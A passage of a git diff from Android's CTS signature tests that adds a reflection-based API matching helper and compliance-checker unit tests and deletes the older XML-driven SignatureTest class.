-            fieldMap.putAll(buildFieldMap(interfaceClass));
-        }
-
-        // Check the fields in the test class
-        for (Field field : testClass.getDeclaredFields()) {
-            fieldMap.put(field.getName(), field);
-        }
-
-        return fieldMap;
-    }
-
-    private static void loge(String message, Exception exception) {
-        System.err.println(String.format("%s: %s", message, exception));
+    @Override
+    public String toString() {
+        return mAbsoluteClassName;
     }
 }
diff --git a/tests/signature/src/android/signature/cts/ReflectionHelper.java b/tests/signature/src/android/signature/cts/ReflectionHelper.java
new file mode 100644
index 0000000..54640a3
--- /dev/null
+++ b/tests/signature/src/android/signature/cts/ReflectionHelper.java
@@ -0,0 +1,333 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.signature.cts;
+
+import java.lang.reflect.Constructor;
+import java.lang.reflect.GenericArrayType;
+import java.lang.reflect.Method;
+import java.lang.reflect.Modifier;
+import java.lang.reflect.ParameterizedType;
+import java.lang.reflect.Type;
+import java.lang.reflect.TypeVariable;
+import java.lang.reflect.WildcardType;
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Uses reflection to obtain runtime representations of elements in the API.
+ */
+public class ReflectionHelper {
+
+    private static void loge(String message, Exception exception) {
+        System.err.println(String.format("%s: %s", message, exception));
+    }
+
+    /**
+     * Finds the reflected class for the class under test.
+     *
+     * @param classDescription the description of the class to find.
+     * @return the reflected class, or null if not found.
+     */
+    @SuppressWarnings("unchecked")
+    public static Class<?> findMatchingClass(JDiffClassDescription classDescription)
+            throws ClassNotFoundException {
+        // even if there are no . in the string, split will return an
+        // array of length 1
+        String shortClassName = classDescription.getShortClassName();
+        String[] classNameParts = shortClassName.split("\\.");
+        String packageName = classDescription.getPackageName();
+        String currentName = packageName + "." + classNameParts[0];
+
+        Class<?> clz = Class.forName(
+                currentName, false, ReflectionHelper.class.getClassLoader());
+        String absoluteClassName = classDescription.getAbsoluteClassName();
+        if (clz.getCanonicalName().equals(absoluteClassName)) {
+            return clz;
+        }
+
+        // Then it must be an inner class.
+        for (int x = 1; x < classNameParts.length; x++) {
+            clz = findInnerClassByName(clz, classNameParts[x]);
+            if (clz == null) {
+                return null;
+            }
+            if (clz.getCanonicalName().equals(absoluteClassName)) {
+                return clz;
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Searches the class for the specified inner class.
+     *
+     * @param clz the class to search in.
+     * @param simpleName the simpleName of the class to find
+     * @return the class being searched for, or null if it can't be found.
+     */
+    private static Class<?> findInnerClassByName(Class<?> clz, String simpleName) {
+        for (Class<?> c : clz.getDeclaredClasses()) {
+            if (c.getSimpleName().equals(simpleName)) {
+                return c;
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Searches available constructor.
+     *
+     * @param runtimeClass the class in which to search.
+     * @param jdiffDes constructor description to find.
+     * @return reflected constructor, or null if not found.
+     */
+    @SuppressWarnings("unchecked")
+    static Constructor<?> findMatchingConstructor(Class<?> runtimeClass,
+            JDiffClassDescription.JDiffConstructor jdiffDes) {
+        for (Constructor<?> c : runtimeClass.getDeclaredConstructors()) {
+            Type[] params = c.getGenericParameterTypes();
+            boolean isStaticClass = ((runtimeClass.getModifiers() & Modifier.STATIC) != 0);
+
+            int startParamOffset = 0;
+            int numberOfParams = params.length;
+
+            // non-static inner class -> skip implicit parent pointer
+            // as first arg
+            if (runtimeClass.isMemberClass() && !isStaticClass && params.length >= 1) {
+                startParamOffset = 1;
+                --numberOfParams;
+            }
+
+            ArrayList<String> jdiffParamList = jdiffDes.mParamList;
+            if (jdiffParamList.size() == numberOfParams) {
+                boolean isFound = true;
+                // i counts jdiff params, j counts reflected params
+                int i = 0;
+                int j = startParamOffset;
+                while (i < jdiffParamList.size()) {
+                    if (!compareParam(jdiffParamList.get(i), params[j])) {
+                        isFound = false;
+                        break;
+                    }
+                    ++i;
+                    ++j;
+                }
+                if (isFound) {
+                    return c;
+                }
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Compares the parameter from the API and the parameter from
+     * reflection.
+     *
+     * @param jdiffParam param parsed from the API xml file.
+     * @param reflectionParamType param gotten from the Java reflection.
+     * @return True if the two params match, otherwise return false.
+     */
+    private static boolean compareParam(String jdiffParam, Type reflectionParamType) {
+        if (jdiffParam == null) {
+            return false;
+        }
+
+        String reflectionParam = typeToString(reflectionParamType);
+        // Most things aren't varargs, so just do a simple compare
+        // first.
+        if (jdiffParam.equals(reflectionParam)) {
+            return true;
+        }
+
+        // Check for varargs.  jdiff reports varargs as ..., while
+        // reflection reports them as []
+        int jdiffParamEndOffset = jdiffParam.indexOf("...");
+        int reflectionParamEndOffset = reflectionParam.indexOf("[]");
+        if (jdiffParamEndOffset != -1 && reflectionParamEndOffset != -1) {
+            jdiffParam = jdiffParam.substring(0, jdiffParamEndOffset);
+            reflectionParam = reflectionParam.substring(0, reflectionParamEndOffset);
+            return jdiffParam.equals(reflectionParam);
+        }
+
+        return false;
+    }
+
+    /**
+     * Finds the reflected method specified by the method description.
+     *
+     * @param runtimeClass the class in which to search.
+     * @param method description of the method to find
+     * @return the reflected method, or null if not found.
+     */
+    @SuppressWarnings("unchecked")
+    static Method findMatchingMethod(Class<?> runtimeClass,
+            JDiffClassDescription.JDiffMethod method) {
+        Method[] methods = runtimeClass.getDeclaredMethods();
+
+        for (Method m : methods) {
+            if (matches(method, m)) {
+                return m;
+            }
+        }
+
+        return null;
+    }
+
+    /**
+     * Checks if the two types of methods are the same.
+     *
+     * @param jDiffMethod the jDiffMethod to compare
+     * @param reflectedMethod the reflected method to compare
+     * @return true, if both methods are the same
+     */
+    static boolean matches(JDiffClassDescription.JDiffMethod jDiffMethod,
+            Method reflectedMethod) {
+        // If the method names aren't equal, the methods can't match.
+        if (!jDiffMethod.mName.equals(reflectedMethod.getName())) {
+            return false;
+        }
+        String jdiffReturnType = jDiffMethod.mReturnType;
+        String reflectionReturnType = typeToString(reflectedMethod.getGenericReturnType());
+        List<String> jdiffParamList = jDiffMethod.mParamList;
+
+        // Next, compare the return types of the two methods.  If
+        // they aren't equal, the methods can't match.
+        if (!jdiffReturnType.equals(reflectionReturnType)) {
+            return false;
+        }
+
+        Type[] params = reflectedMethod.getGenericParameterTypes();
+
+        // Next, check the method parameters.  If they have different
+        // parameter lengths, the two methods can't match.
+        if (jdiffParamList.size() != params.length) {
+            return false;
+        }
+
+        boolean piecewiseParamsMatch = true;
+
+        // Compare method parameters piecewise and return true if they all match.
+        for (int i = 0; i < jdiffParamList.size(); i++) {
+            piecewiseParamsMatch &= compareParam(jdiffParamList.get(i), params[i]);
+        }
+        if (piecewiseParamsMatch) {
+            return true;
+        }
+
+        /* NOTE: There are cases where piecewise method parameter checking
+         * fails even though the strings are equal, so compare entire strings
+         * against each other. This is not done by default to avoid a
+         * TransactionTooLargeException.
+         * Additionally, this can fail anyway due to extra
+         * information dug up by reflection.
+         *
+         * TODO: fix parameter equality checking and reflection matching
+         * See https://b.corp.google.com/issues/27726349
+         */
+
+        StringBuilder reflectedMethodParams = new StringBuilder("");
+        StringBuilder jdiffMethodParams = new StringBuilder("");
+
+        for (int i = 0; i < jdiffParamList.size(); i++) {
+            jdiffMethodParams.append(jdiffParamList.get(i));
+            reflectedMethodParams.append(params[i]);
+        }
+
+        String jDiffFName = jdiffMethodParams.toString();
+        String refName = reflectedMethodParams.toString();
+
+        return jDiffFName.equals(refName);
+    }
+
+    /**
+     * Converts WildcardType array into a jdiff compatible string..
+     * This is a helper function for typeToString.
+     *
+     * @param types array of types to format.
+     * @return the jdiff formatted string.
+     */
+    private static String concatWildcardTypes(Type[] types) {
+        StringBuilder sb = new StringBuilder();
+        int elementNum = 0;
+        for (Type t : types) {
+            sb.append(typeToString(t));
+            if (++elementNum < types.length) {
+                sb.append(" & ");
+            }
+        }
+        return sb.toString();
+    }
+
+    /**
+     * Converts a Type into a jdiff compatible String.  The returned
+     * types from this function should match the same Strings that
+     * jdiff is providing to us.
+     *
+     * @param type the type to convert.
+     * @return the jdiff formatted string.
+     */
+    private static String typeToString(Type type) {
+        if (type instanceof ParameterizedType) {
+            ParameterizedType pt = (ParameterizedType) type;
+
+            StringBuilder sb = new StringBuilder();
+            sb.append(typeToString(pt.getRawType()));
+            sb.append("<");
+
+            int elementNum = 0;
+            Type[] types = pt.getActualTypeArguments();
+            for (Type t : types) {
+                sb.append(typeToString(t));
+                if (++elementNum < types.length) {
+                    sb.append(", ");
+                }
+            }
+
+            sb.append(">");
+            return sb.toString();
+        } else if (type instanceof TypeVariable) {
+            return ((TypeVariable<?>) type).getName();
+        } else if (type instanceof Class) {
+            return ((Class<?>) type).getCanonicalName();
+        } else if (type instanceof GenericArrayType) {
+            String typeName = typeToString(((GenericArrayType) type).getGenericComponentType());
+            return typeName + "[]";
+        } else if (type instanceof WildcardType) {
+            WildcardType wt = (WildcardType) type;
+            Type[] lowerBounds = wt.getLowerBounds();
+            if (lowerBounds.length == 0) {
+                String name = "? extends " + concatWildcardTypes(wt.getUpperBounds());
+
+                // Special case for ?
+                if (name.equals("? extends java.lang.Object")) {
+                    return "?";
+                } else {
+                    return name;
+                }
+            } else {
+                String name = concatWildcardTypes(wt.getUpperBounds()) +
+                        " super " +
+                        concatWildcardTypes(wt.getLowerBounds());
+                // Another special case for ?
+                name = name.replace("java.lang.Object", "?");
+                return name;
+            }
+        } else {
+            throw new RuntimeException("Got an unknown java.lang.Type");
+        }
+    }
+}
diff --git a/tests/signature/src/android/signature/cts/SignatureTest.java b/tests/signature/src/android/signature/cts/SignatureTest.java
deleted file mode 100644
index af82a46..0000000
--- a/tests/signature/src/android/signature/cts/SignatureTest.java
+++ /dev/null
@@ -1,233 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.signature.cts;
-
-import static android.signature.cts.CurrentApi.CURRENT_API_FILE;
-import static android.signature.cts.CurrentApi.SYSTEM_CURRENT_API_FILE;
-import static android.signature.cts.CurrentApi.TAG_ROOT;
-import static android.signature.cts.CurrentApi.TAG_PACKAGE;
-import static android.signature.cts.CurrentApi.TAG_CLASS;
-import static android.signature.cts.CurrentApi.TAG_INTERFACE;
-import static android.signature.cts.CurrentApi.TAG_IMPLEMENTS;
-import static android.signature.cts.CurrentApi.TAG_CONSTRUCTOR;
-import static android.signature.cts.CurrentApi.TAG_METHOD;
-import static android.signature.cts.CurrentApi.TAG_PARAM;
-import static android.signature.cts.CurrentApi.TAG_EXCEPTION;
-import static android.signature.cts.CurrentApi.TAG_FIELD;
-
-import static android.signature.cts.CurrentApi.MODIFIER_ABSTRACT;
-import static android.signature.cts.CurrentApi.MODIFIER_FINAL;
-import static android.signature.cts.CurrentApi.MODIFIER_NATIVE;
-import static android.signature.cts.CurrentApi.MODIFIER_PRIVATE;
-import static android.signature.cts.CurrentApi.MODIFIER_PROTECTED;
-import static android.signature.cts.CurrentApi.MODIFIER_PUBLIC;
-import static android.signature.cts.CurrentApi.MODIFIER_STATIC;
-import static android.signature.cts.CurrentApi.MODIFIER_SYNCHRONIZED;
-import static android.signature.cts.CurrentApi.MODIFIER_TRANSIENT;
-import static android.signature.cts.CurrentApi.MODIFIER_VOLATILE;
-import static android.signature.cts.CurrentApi.MODIFIER_VISIBILITY;
-
-import static android.signature.cts.CurrentApi.ATTRIBUTE_NAME;
-import static android.signature.cts.CurrentApi.ATTRIBUTE_EXTENDS;
-import static android.signature.cts.CurrentApi.ATTRIBUTE_TYPE;
-import static android.signature.cts.CurrentApi.ATTRIBUTE_RETURN;
-
-import android.content.res.Resources;
-import android.signature.cts.JDiffClassDescription.JDiffConstructor;
-import android.signature.cts.JDiffClassDescription.JDiffField;
-import android.signature.cts.JDiffClassDescription.JDiffMethod;
-import android.test.AndroidTestCase;
-import android.util.Log;
-
-import org.xmlpull.v1.XmlPullParser;
-import org.xmlpull.v1.XmlPullParserException;
-import org.xmlpull.v1.XmlPullParserFactory;
-
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.IOException;
-import java.lang.reflect.Field;
-import java.lang.reflect.Modifier;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.HashSet;
-import java.util.Scanner;
-
-/**
- * Performs the signature check via a JUnit test.
- */
-public class SignatureTest extends AndroidTestCase {
-
-    private static final String TAG = SignatureTest.class.getSimpleName();
-
-    private HashSet<String> mKeyTagSet;
-    private TestResultObserver mResultObserver;
-
-    private class TestResultObserver implements ResultObserver {
-        boolean mDidFail = false;
-        StringBuilder mErrorString = new StringBuilder();
-
-        @Override
-        public void notifyFailure(FailureType type, String name, String errorMessage) {
-            mDidFail = true;
-            mErrorString.append("\n");
-            mErrorString.append(type.toString().toLowerCase());
-            mErrorString.append(":\t");
-            mErrorString.append(name);
-            mErrorString.append("\tError: ");
-            mErrorString.append(errorMessage);
-        }
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mKeyTagSet = new HashSet<String>();
-        mKeyTagSet.addAll(Arrays.asList(new String[] {
-                TAG_PACKAGE, TAG_CLASS, TAG_INTERFACE, TAG_IMPLEMENTS, TAG_CONSTRUCTOR,
-                TAG_METHOD, TAG_PARAM, TAG_EXCEPTION, TAG_FIELD }));
-        mResultObserver = new TestResultObserver();
-    }
-
-    /**
-     * Tests that the device's API matches the expected set defined in xml.
-     * <p/>
-     * Will check the entire API, and then report the complete list of failures
-     */
-    public void testSignature() {
-        try {
-            XmlPullParserFactory factory = XmlPullParserFactory.newInstance();
-            XmlPullParser parser = factory.newPullParser();
-            parser.setInput(new FileInputStream(new File(CURRENT_API_FILE)), null);
-            start(parser);
-        } catch (Exception e) {
-            mResultObserver.notifyFailure(FailureType.CAUGHT_EXCEPTION, e.getMessage(),
-                    e.getMessage());
-        }
-        if (mResultObserver.mDidFail) {
-            fail(mResultObserver.mErrorString.toString());
-        }
-    }
-
-    private void beginDocument(XmlPullParser parser, String firstElementName)
-            throws XmlPullParserException, IOException {
-        int type;
-        while ((type=parser.next()) != XmlPullParser.START_TAG
-                   && type != XmlPullParser.END_DOCUMENT) { }
-
-        if (type != XmlPullParser.START_TAG) {
-            throw new XmlPullParserException("No start tag found");
-        }
-
-        if (!parser.getName().equals(firstElementName)) {
-            throw new XmlPullParserException("Unexpected start tag: found " + parser.getName() +
-                    ", expected " + firstElementName);
-        }
-    }
-
-    /**
-     * Signature test entry point.
-     */
-    private void start(XmlPullParser parser) throws XmlPullParserException, IOException {
-        logd(String.format("Name: %s", parser.getName()));
-        logd(String.format("Text: %s", parser.getText()));
-        logd(String.format("Namespace: %s", parser.getNamespace()));
-        logd(String.format("Line Number: %s", parser.getLineNumber()));
-        logd(String.format("Column Number: %s", parser.getColumnNumber()));
-        logd(String.format("Position Description: %s", parser.getPositionDescription()));
-        JDiffClassDescription currentClass = null;
-        String currentPackage = "";
-        JDiffMethod currentMethod = null;
-
-        beginDocument(parser, TAG_ROOT);
-        int type;
-        while (true) {
-            type = XmlPullParser.START_DOCUMENT;
-            while ((type=parser.next()) != XmlPullParser.START_TAG
-                       && type != XmlPullParser.END_DOCUMENT
-                       && type != XmlPullParser.END_TAG) {
-
-            }
-
-            if (type == XmlPullParser.END_TAG) {
-                if (TAG_CLASS.equals(parser.getName())
-                        || TAG_INTERFACE.equals(parser.getName())) {
-                    currentClass.checkSignatureCompliance();
-                } else if (TAG_PACKAGE.equals(parser.getName())) {
-                    currentPackage = "";
-                }
-                continue;
-            }
-
-            if (type == XmlPullParser.END_DOCUMENT) {
-                break;
-            }
-
-            String tagname = parser.getName();
-            if (!mKeyTagSet.contains(tagname)) {
-                continue;
-            }
-
-            if (type == XmlPullParser.START_TAG && tagname.equals(TAG_PACKAGE)) {
-                currentPackage = parser.getAttributeValue(null, ATTRIBUTE_NAME);
-            } else if (tagname.equals(TAG_CLASS)) {
-                currentClass = CurrentApi.loadClassInfo(
-                            parser, false, currentPackage, mResultObserver);
-            } else if (tagname.equals(TAG_INTERFACE)) {
-                currentClass = CurrentApi.loadClassInfo(
-                            parser, true, currentPackage, mResultObserver);
-            } else if (tagname.equals(TAG_IMPLEMENTS)) {
-                currentClass.addImplInterface(parser.getAttributeValue(null, ATTRIBUTE_NAME));
-            } else if (tagname.equals(TAG_CONSTRUCTOR)) {
-                JDiffConstructor constructor =
-                        CurrentApi.loadConstructorInfo(parser, currentClass);
-                currentClass.addConstructor(constructor);
-                currentMethod = constructor;
-            } else if (tagname.equals(TAG_METHOD)) {
-                currentMethod = CurrentApi.loadMethodInfo(currentClass.getClassName(), parser);
-                currentClass.addMethod(currentMethod);
-            } else if (tagname.equals(TAG_PARAM)) {
-                currentMethod.addParam(parser.getAttributeValue(null, ATTRIBUTE_TYPE));
-            } else if (tagname.equals(TAG_EXCEPTION)) {
-                currentMethod.addException(parser.getAttributeValue(null, ATTRIBUTE_TYPE));
-            } else if (tagname.equals(TAG_FIELD)) {
-                JDiffField field = CurrentApi.loadFieldInfo(currentClass.getClassName(), parser);
-                currentClass.addField(field);
-            } else {
-                throw new RuntimeException(
-                        "unknown tag exception:" + tagname);
-            }
-            if (currentPackage != null) {
-                logd(String.format("currentPackage: %s", currentPackage));
-            }
-            if (currentClass != null) {
-                logd(String.format("currentClass: %s", currentClass.toSignatureString()));
-            }
-            if (currentMethod != null) {
-                logd(String.format("currentMethod: %s", currentMethod.toSignatureString()));
-            }
-        }
-    }
-
-    public static void loge(String msg, Exception e) {
-        Log.e(TAG, msg, e);
-    }
-
-    public static void logd(String msg) {
-        Log.d(TAG, msg);
-    }
-}
diff --git a/tests/signature/tests/src/android/signature/cts/tests/AllTests.java b/tests/signature/tests/src/android/signature/cts/tests/AllTests.java
index 56916f4..71b1e35 100644
--- a/tests/signature/tests/src/android/signature/cts/tests/AllTests.java
+++ b/tests/signature/tests/src/android/signature/cts/tests/AllTests.java
@@ -27,7 +27,7 @@
     public AllTests() {
         super();
 
-        addTestSuite(JDiffClassDescriptionTest.class);
+        addTestSuite(ApiComplianceCheckerTest.class);
     }
 
     public static Test suite() {
diff --git a/tests/signature/tests/src/android/signature/cts/tests/ApiComplianceCheckerTest.java b/tests/signature/tests/src/android/signature/cts/tests/ApiComplianceCheckerTest.java
new file mode 100644
index 0000000..71d2e37
--- /dev/null
+++ b/tests/signature/tests/src/android/signature/cts/tests/ApiComplianceCheckerTest.java
@@ -0,0 +1,504 @@
+/*
+ * Copyright (C) 2007 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.signature.cts.tests;
+
+import android.signature.cts.ApiComplianceChecker;
+import android.signature.cts.FailureType;
+import android.signature.cts.JDiffClassDescription;
+import android.signature.cts.ResultObserver;
+
+import junit.framework.Assert;
+import junit.framework.TestCase;
+
+import java.lang.reflect.Modifier;
+
+/**
+ * Test class for JDiffClassDescription.
+ */
+public class ApiComplianceCheckerTest extends TestCase {
+
+    private static final String VALUE = "VALUE";
+
+    private class NoFailures implements ResultObserver {
+        @Override
+        public void notifyFailure(FailureType type, String name, String errmsg) {
+            Assert.fail("Saw unexpected test failure: " + name + " failure type: " + type);
+        }
+    }
+
+    private class ExpectFailure implements ResultObserver {
+        private FailureType expectedType;
+        private boolean failureSeen;
+
+        ExpectFailure(FailureType expectedType) {
+            this.expectedType = expectedType;
+        }
+
+        @Override
+        public void notifyFailure(FailureType type, String name, String errMsg) {
+            if (type == expectedType) {
+                if (failureSeen) {
+                    Assert.fail("Saw second test failure: " + name + " failure type: " + type);
+                } else {
+                    // We've seen the error, mark it and keep going
+                    failureSeen = true;
+                }
+            } else {
+                Assert.fail("Saw unexpected test failure: " + name + " failure type: " + type);
+            }
+        }
+
+        void validate() {
+            Assert.assertTrue(failureSeen);
+        }
+    }
+
+    private void checkSignatureCompliance(JDiffClassDescription classDescription) {
+        ResultObserver resultObserver = new NoFailures();
+        checkSignatureCompliance(classDescription, resultObserver);
+    }
+
+    private void checkSignatureCompliance(JDiffClassDescription classDescription,
+            ResultObserver resultObserver) {
+        ApiComplianceChecker complianceChecker = new ApiComplianceChecker(resultObserver);
+        complianceChecker.checkSignatureCompliance(classDescription);
+    }
+
+    /**
+     * Create the JDiffClassDescription for "NormalClass".
+     *
+     * @return the new JDiffClassDescription
+     */
+    private JDiffClassDescription createNormalClass() {
+        JDiffClassDescription clz = new JDiffClassDescription(
+                "android.signature.cts.tests.data", "NormalClass");
+        clz.setType(JDiffClassDescription.JDiffType.CLASS);
+        clz.setModifier(Modifier.PUBLIC);
+        return clz;
+    }
+
+    public void testNormalClassCompliance() {
+        JDiffClassDescription clz = createNormalClass();
+        checkSignatureCompliance(clz);
+        assertEquals(clz.toSignatureString(), "public class NormalClass");
+    }
+
+    public void testMissingClass() {
+        ExpectFailure observer = new ExpectFailure(FailureType.MISSING_CLASS);
+        JDiffClassDescription clz = new JDiffClassDescription(
+                "android.signature.cts.tests.data", "NoSuchClass");
+        clz.setType(JDiffClassDescription.JDiffType.CLASS);
+        checkSignatureCompliance(clz, observer);
+        observer.validate();
+    }
+
+    public void testSimpleConstructor() {
+        JDiffClassDescription clz = createNormalClass();
+        JDiffClassDescription.JDiffConstructor constructor =
+                new JDiffClassDescription.JDiffConstructor("NormalClass", Modifier.PUBLIC);
+        clz.addConstructor(constructor);
+        checkSignatureCompliance(clz);
+        assertEquals(constructor.toSignatureString(), "public NormalClass()");
+    }
+
+    public void testOneArgConstructor() {
+        JDiffClassDescription clz = createNormalClass();
+        JDiffClassDescription.JDiffConstructor constructor =
+                new JDiffClassDescription.JDiffConstructor("NormalClass", Modifier.PRIVATE);
+        constructor.addParam("java.lang.String");
+        clz.addConstructor(constructor);
+        checkSignatureCompliance(clz);
+        assertEquals(constructor.toSignatureString(), "private NormalClass(java.lang.String)");
+    }
+
+    public void testConstructorThrowsException() {
+        JDiffClassDescription clz = createNormalClass();
+        JDiffClassDescription.JDiffConstructor constructor =
+                new JDiffClassDescription.JDiffConstructor("NormalClass", Modifier.PROTECTED);
+        constructor.addParam("java.lang.String");
+        constructor.addParam("java.lang.String");
+        constructor.addException("android.signature.cts.tests.data.NormalException");
+        clz.addConstructor(constructor);
+        checkSignatureCompliance(clz);
+        assertEquals(constructor.toSignatureString(),
+                "protected NormalClass(java.lang.String, java.lang.String) " +
+                "throws android.signature.cts.tests.data.NormalException");
+    }
+
+    public void testPackageProtectedConstructor() {
+        JDiffClassDescription clz = createNormalClass();
+        JDiffClassDescription.JDiffConstructor constructor =
+                new JDiffClassDescription.JDiffConstructor("NormalClass", 0);
+        constructor.addParam("java.lang.String");
+        constructor.addParam("java.lang.String");
+        constructor.addParam("java.lang.String");
+        clz.addConstructor(constructor);
+        checkSignatureCompliance(clz);
+        assertEquals(constructor.toSignatureString(),
+                "NormalClass(java.lang.String, java.lang.String, java.lang.String)");
+    }
+
+    public void testStaticMethod() {
+        JDiffClassDescription clz = createNormalClass();
+        JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
+                "staticMethod", Modifier.STATIC | Modifier.PUBLIC, "void");
+        clz.addMethod(method);
+        checkSignatureCompliance(clz);
+        assertEquals(method.toSignatureString(), "public static void staticMethod()");
+    }
+
+    public void testSyncMethod() {
+        JDiffClassDescription clz = createNormalClass();
+        JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
+                "syncMethod", Modifier.SYNCHRONIZED | Modifier.PUBLIC, "void");
+        clz.addMethod(method);
+        checkSignatureCompliance(clz);
+        assertEquals(method.toSignatureString(), "public synchronized void syncMethod()");
+    }
+
+    public void testPackageProtectMethod() {
+        JDiffClassDescription clz = createNormalClass();
+        JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
+                "packageProtectedMethod", 0, "boolean");
+        clz.addMethod(method);
+        checkSignatureCompliance(clz);
+        assertEquals(method.toSignatureString(), "boolean packageProtectedMethod()");
+    }
+
+    public void testPrivateMethod() {
+        JDiffClassDescription clz = createNormalClass();
+        JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
+                "privateMethod", Modifier.PRIVATE, "void");
+        clz.addMethod(method);
+        checkSignatureCompliance(clz);
+        assertEquals(method.toSignatureString(), "private void privateMethod()");
+    }
+
+    public void testProtectedMethod() {
+        JDiffClassDescription clz = createNormalClass();
+        JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
+                "protectedMethod", Modifier.PROTECTED, "java.lang.String");
+        clz.addMethod(method);
+        checkSignatureCompliance(clz);
+        assertEquals(method.toSignatureString(), "protected java.lang.String protectedMethod()");
+    }
+
+    public void testThrowsMethod() {
+        JDiffClassDescription clz = createNormalClass();
+        JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
+                "throwsMethod", Modifier.PUBLIC, "void");
+        method.addException("android.signature.cts.tests.data.NormalException");
+        clz.addMethod(method);
+        checkSignatureCompliance(clz);
+        assertEquals(method.toSignatureString(), "public void throwsMethod() " +
+                "throws android.signature.cts.tests.data.NormalException");
+    }
+
+    public void testNativeMethod() {
+        JDiffClassDescription clz = createNormalClass();
+        JDiffClassDescription.JDiffMethod method = new JDiffClassDescription.JDiffMethod(
+                "nativeMethod", Modifier.PUBLIC | Modifier.NATIVE, "void");
+        clz.addMethod(method);
+        checkSignatureCompliance(clz);
+        assertEquals(method.toSignatureString(), "public native void nativeMethod()");
+    }
+
+    public void testFinalField() {
+        JDiffClassDescription clz = createNormalClass();
+        JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
+                "FINAL_FIELD", "java.lang.String", Modifier.PUBLIC | Modifier.FINAL, VALUE);
+        clz.addField(field);
+        checkSignatureCompliance(clz);
+        assertEquals(field.toSignatureString(), "public final java.lang.String FINAL_FIELD");
+    }
+
+    public void testStaticField() {
+        JDiffClassDescription clz = createNormalClass();
+        JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
+                "STATIC_FIELD", "java.lang.String", Modifier.PUBLIC | Modifier.STATIC, VALUE);
+        clz.addField(field);
+        checkSignatureCompliance(clz);
+        assertEquals(field.toSignatureString(), "public static java.lang.String STATIC_FIELD");
+    }
+
+    public void testVolatileFiled() {
+        JDiffClassDescription clz = createNormalClass();
+        JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
+                "VOLATILE_FIELD", "java.lang.String", Modifier.PUBLIC | Modifier.VOLATILE, VALUE);
+        clz.addField(field);
+        checkSignatureCompliance(clz);
+        assertEquals(field.toSignatureString(), "public volatile java.lang.String VOLATILE_FIELD");
+    }
+
+    public void testTransientField() {
+        JDiffClassDescription clz = createNormalClass();
+        JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
+                "TRANSIENT_FIELD", "java.lang.String",
+                Modifier.PUBLIC | Modifier.TRANSIENT, VALUE);
+        clz.addField(field);
+        checkSignatureCompliance(clz);
+        assertEquals(field.toSignatureString(),
+                "public transient java.lang.String TRANSIENT_FIELD");
+    }
+
+    public void testPackageField() {
+        JDiffClassDescription clz = createNormalClass();
+        JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
+                "PACAKGE_FIELD", "java.lang.String", 0, VALUE);
+        clz.addField(field);
+        checkSignatureCompliance(clz);
+        assertEquals(field.toSignatureString(), "java.lang.String PACAKGE_FIELD");
+    }
+
+    public void testPrivateField() {
+        JDiffClassDescription clz = createNormalClass();
+        JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
+                "PRIVATE_FIELD", "java.lang.String", Modifier.PRIVATE, VALUE);
+        clz.addField(field);
+        checkSignatureCompliance(clz);
+        assertEquals(field.toSignatureString(), "private java.lang.String PRIVATE_FIELD");
+    }
+
+    public void testProtectedField() {
+        JDiffClassDescription clz = createNormalClass();
+        JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
+                "PROTECTED_FIELD", "java.lang.String", Modifier.PROTECTED, VALUE);
+        clz.addField(field);
+        checkSignatureCompliance(clz);
+        assertEquals(field.toSignatureString(), "protected java.lang.String PROTECTED_FIELD");
+    }
+
+    public void testFieldValue() {
+        JDiffClassDescription clz = createNormalClass();
+        JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
+                "VALUE_FIELD", "java.lang.String",
+                Modifier.PUBLIC | Modifier.FINAL | Modifier.STATIC , "\"\\u2708\"");
+        clz.addField(field);
+        checkSignatureCompliance(clz);
+        assertEquals(field.toSignatureString(),
+                "public static final java.lang.String VALUE_FIELD");
+    }
+
+    public void testFieldValueChanged() {
+        ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_FIELD);
+        JDiffClassDescription clz = createNormalClass();
